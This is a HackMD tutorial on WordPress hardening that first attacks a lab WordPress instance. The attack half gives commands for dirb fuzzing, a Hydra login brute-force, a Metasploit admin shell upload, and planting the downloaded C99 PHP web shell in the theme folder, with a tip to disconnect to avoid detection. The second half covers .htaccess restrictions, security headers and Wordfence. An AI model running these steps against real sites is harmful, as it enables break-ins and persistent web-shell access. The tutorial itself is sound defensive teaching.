Andy Rojas
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    1
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    --- tags: 'Hardening' --- Importance of Wordpress hardening === <i class="fa fa-file-pdf-o" aria-hidden="true"></i> **Wordpress hardening** <i class="fa fa-user-circle-o" aria-hidden="true"></i> Andy Rojas <i class="fa fa-clock-o" aria-hidden="true"></i> 2022-09-14 :::info **Scenario** One day, the develoment team create a Worpdress website for your company, in this site we post important content about new jobs and the list of products that we have. What is the next step when the website is finished from development perspective? ::: [TOC] ## Install Wordpress using Portainer Create a new docker stack using the following lines, in case you already have a Wordpress installed, skip this step. ```bash= version: "3.9" services: db: image: mysql:5.7 volumes: - db_data:/var/lib/mysql restart: always environment: MYSQL_ROOT_PASSWORD: dbpassword MYSQL_DATABASE: wordpress_local MYSQL_USER: wordpress_db_user MYSQL_PASSWORD: wordpress_db_password platform: linux/x86_64 wordpress: depends_on: - db image: wordpress:6.0.2 volumes: - wordpress_data:/var/www/html ports: - "8000:80" restart: always environment: WORDPRESS_DB_HOST: db:3306 WORDPRESS_DB_USER: wordpress_db_user WORDPRESS_DB_PASSWORD: wordpress_db_password WORDPRESS_DB_NAME: wordpress_local volumes: db_data: {} wordpress_data: {} ``` Check if the Wordpress was installed. http://192.168.XXX.XXX:8000. ![](https://i.imgur.com/yshD7u3.png) Setup the Worpdress site and change the theme for **Twenty Twenty**. ![](https://i.imgur.com/TfHlsyY.png) ## Find wp-login page Try to use https://website.com/wp-login.php, if it doesn't work, you can fuzz the site using dirb tool. Fuzzing command example ```bash= dirb http://1.1.1.1:8000 /usr/share/dirb/wordlists/common.txt ``` ## Execute dictionary attack Now, we are going to use **Hydra** to execute the attack. Execute the following command ```bash= hydra -l admin -p admin 192.168.69.1 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location" -s 8000 ``` ---------------------------------- ## Execute webshell using Metasploit Using the Kali Linux machine (or similar), open Metasploit. ```bash= msfconsole ``` Select the exploit ```bash= use exploit/unix/webapp/wp_admin_shell_upload ``` Set target IP ```bash= set RHOSTS 192.168.XXX.XXX ``` Set target port ```bash= set RPORT 8000 ``` Set Wordpress username ```bash= set USERNAME admin ``` Set Wordpress password ```bash= set PASSWORD admin ``` Set Wordpress homepage ```bash= set targeturi / ``` Execute the exploit ```bash= exploit ``` ![](https://i.imgur.com/yMWm2TX.png) Using the Wordpress Portainer CMD, install net-tools ```bash= apt update apt install net-tools ``` ![](https://i.imgur.com/LpZOza4.png) Check the Metasploit connection in Portainer using **netstat -tuna** ![](https://i.imgur.com/FH9uO8K.png) Then, execute the exploit **=== Kali ===** ```bash= cd ~/Downloads ``` ```bash= wget https://raw.githubusercontent.com/KaizenLouie/C99Shell-PHP7/master/c99shell.php ``` ```bash= mv c99shell.php 1.php ``` **=== Meterpreter ===** ```bash= cd /var/www/html/wp-content/themes/twentytwenty ``` ```bash= lcd Downloads ``` ```bash= upload 1.php ``` **=== Browser ===** Result: http://192.168.XXX.XXX:8000/wp-content/themes/twentytwenty/1.php ![](https://i.imgur.com/XEkj7Ds.png) Close the connection using **exit** to avoid being discovered, as you can see, the connection to the port 4444 is already closed. ![](https://i.imgur.com/IjEimzz.png) ## Wordpress hardening ### Restrict wp-admin.php and wp-login.php by IP * Using Portainer, open a console in the Wordpress instance. ![](https://i.imgur.com/g3uRWjm.png) * Inside .htaccess file, copy and paste the next lines of code to the top of the file. ```bash= # BEGIN Restrict wp-login and wp-admin <If "%{THE_REQUEST} =~ m#^GET /wp-login#"> SetEnvIf X-FORWARDED-FOR 1.1.1.1 allow order deny,allow deny from all allow from env=allow Allow from 1.1.1.1 </If> <If "%{THE_REQUEST} =~ m#^GET /wp-admin#"> SetEnvIf X-FORWARDED-FOR 1.1.1.1 allow order deny,allow deny from all allow from env=allow Allow from 1.1.1.1 </If> # END Restrict wp-login and wp-admin ``` * Save the changes and test it. ### HTTP Headers * Install and activate HTTP Headers plugins. Plugins > Add New. ![](https://i.imgur.com/r9xzeCU.png) * Go to Settings > HTTP Headers and click on Security. ![](https://i.imgur.com/TwWf44I.png) * Inside Security, we are going to configure the next security headers. ![](https://i.imgur.com/S1f6UPW.png) * Inside X-Frame-Options, turn on the header and keep the DENY option inside the dropdown list. ![](https://i.imgur.com/ArxdzDt.png) * Inside X-XSS-Protection, turn on the header and select the option 1; mode=block inside the dropdown list. ![](https://i.imgur.com/AEXp5K9.png) * Inside X-Content-Type-Options, turn on the header and keep the nosniff option inside the dropdown list. ![](https://i.imgur.com/Mx0PVr6.png) * Inside Strict-Transport-Security, turn on the header and select the 30 days option inside the dropdown list. ![](https://i.imgur.com/jvikh8M.png) * Inside Referrer-Policy, turn on the header and select the no-referrer-when-downgrade option inside the dropdown list. ![](https://i.imgur.com/lEahrSW.png) * Inside Content-Security-Policy, turn on the header and only turn on the font-src option for this case, select the * option. ![](https://i.imgur.com/sni5pyf.png) * Inside Expect-CT, turn on the header and select the max-age 90 days option inside the dropdown list, keep empty the report-uri and turn on enforce. ![](https://i.imgur.com/yDPWBeA.png) * Inside Permissions-Policy, turn on the header and only turn on the geolocation option for this case, select the origin(s) option inside the dropdown list and write the current website inside the input. ![](https://i.imgur.com/ag1ilUR.png) * Or copy and paste the next code inside .htaccess ```bash= # BEGIN HttpHeaders <IfModule mod_headers.c> Header always set X-Content-Type-Options "nosniff" <FilesMatch "\.(php|html)$"> Header set X-Frame-Options "SAMEORIGIN" Header set X-XSS-Protection "1; mode=block" Header set Strict-Transport-Security "max-age=31536000; includeSubDomains" env=HTTPS Header set Content-Security-Policy "upgrade-insecure-requests" Header set Referrer-Policy "no-referrer-when-downgrade" Header set Permissions-Policy "geolocation=(self)" </FilesMatch> </IfModule> # END HttpHeaders ``` * Test the website using https://securityheaders.com/ to check if the security headers works fine. ![](https://i.imgur.com/df6OX27.png) ### Wordfence plugin * Install and activate Wordfence Security plugin. Plugins > Add New. ![](https://i.imgur.com/fhATXax.png) * Go to Wordfence and write the email where wordfence will send the email alerts. To know what email can you use, contact your department manager. ![](https://i.imgur.com/4Xap3UE.png) * If you want to buy a premium key, put the key inside the input or click on No Thanks to use the free version. ![](https://i.imgur.com/wENGLdD.png) * Then click on Click here to configute to install .HTACCESS with the WAF configuration of Wordpress in your Wordpress website. ![](https://i.imgur.com/DoLwwHt.png) * Then download .HTACCESS backup and click on Continue to finish the process. ![](https://i.imgur.com/KAHmup1.png) ### Disable XML-RPC * Go to Wordfence -> Login Security -> Settings and activate the opcion **disable XML-RPC authentication** and then, click on **Save** button ![](https://i.imgur.com/RhppUdw.png) ### Install Inactive Logout * Install and activate Inactive Logout plugin. Plugins > Add New. ![](https://i.imgur.com/uOdvFyD.png) * Go to Setting → Inactive Logout and set the time and expiration message ![](https://i.imgur.com/v9jc2UJ.png) * After 15 minutes being deactivate, your session is closed. ![](https://i.imgur.com/75EgU5F.png) ### Force HTTP redirect to HTTPS * Inside .htaccess file, copy and paste the next lines of code to the top of the file. ```bash= # BEGIN Force HTTPS RewriteEngine On RewriteCond %{HTTPS} off RewriteCond %{HTTP_HOST} ^(www\.)?yourwebsite\.com$ [NC] RewriteRule ^(.*)$ https://www.yourwebsite.com/$1 [L,R=301] # BEGIN Force HTTPS ``` ### Re-test the site following the firsts steps.

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully